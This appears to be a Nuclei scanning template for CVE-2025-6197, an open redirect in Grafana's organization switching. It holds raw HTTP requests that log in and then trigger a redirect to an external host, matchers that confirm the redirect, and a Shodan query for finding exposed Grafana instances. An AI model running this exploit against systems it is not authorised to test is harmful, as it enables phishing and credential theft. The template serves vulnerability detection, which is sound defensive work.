An open redirect vulnerability has been identified in Grafana OSS organization switching functionality. Prerequisites for exploitation Multiple organizations must exist in the Grafana instance - Victim must be on a different organization than the one specified in the URL
PoC
id: CVE-2025-6197
info:
name: Open Redirect via Organization Switching
author: iamnoooob,pdresearch
severity: medium
description: |
An open redirect vulnerability has been identified in Grafana OSS organization switching functionality. Prerequisites for exploitation Multiple organizations must exist in the Grafana instance - Victim must be on a different organization than the one specified in the URL
impact: |
Authenticated attackers can redirect users to arbitrary external domains through organization switching functionality, enabling phishing attacks and credential theft.
remediation: |
Upgrade Grafana OSS to the latest version that properly validates redirect URLs in organization switching functionality.
reference:
- https://grafana.com/blog/2025/07/17/grafana-security-release-medium-and-high-severity-fixes-for-cve-2025-6197-and-cve-2025-6023/
- https://nvd.nist.gov/vuln/detail/CVE-2025-6197
metadata:
verified: true
max-request: 2
shodan-query: html:"grafana"
tags: cve,cve2025,redirect,grafana,open-redirect,vuln
variables:
username: "{{username}}"
password: "{{password}}"
orgid: "{{orgid}}"
flow: http(1) && http(2)
http:
- raw:
- |
POST /login HTTP/1.1
Host: {{Hostname}}
accept: application/json, text/plain, */*
DNT: 1
content-type: application/json
Origin: {{RootURL}}
Referer: {{RootURL}}/login
Cookie: redirect_to=%2F
{"user":"{{username}}","password":"{{password}}"}
extractors:
- type: dsl
dsl:
- username
- password
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Logged in'
internal: true
- type: word
part: header
words:
- 'grafana_session'
internal: true
- type: status
status:
- 200
internal: true
- raw:
- |
GET /%2f%5coast.pro?orgId={{orgid}} HTTP/1.1
Host: {{Hostname}}
redirects: true
matchers:
- type: dsl
name: open-redirect
dsl:
- status_code == 302
- contains(location, '//\oast.pro?')
condition: and
# digest: 4a0a004730450221008ec17c163026ecb384b6c7d4a84f2b0cf1d198bb9f1f0fc9f572a1a64a3da648022038da23f44d6deb5c841a950f6d029d8e06d77c6a006d602749928381d3dd368c:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.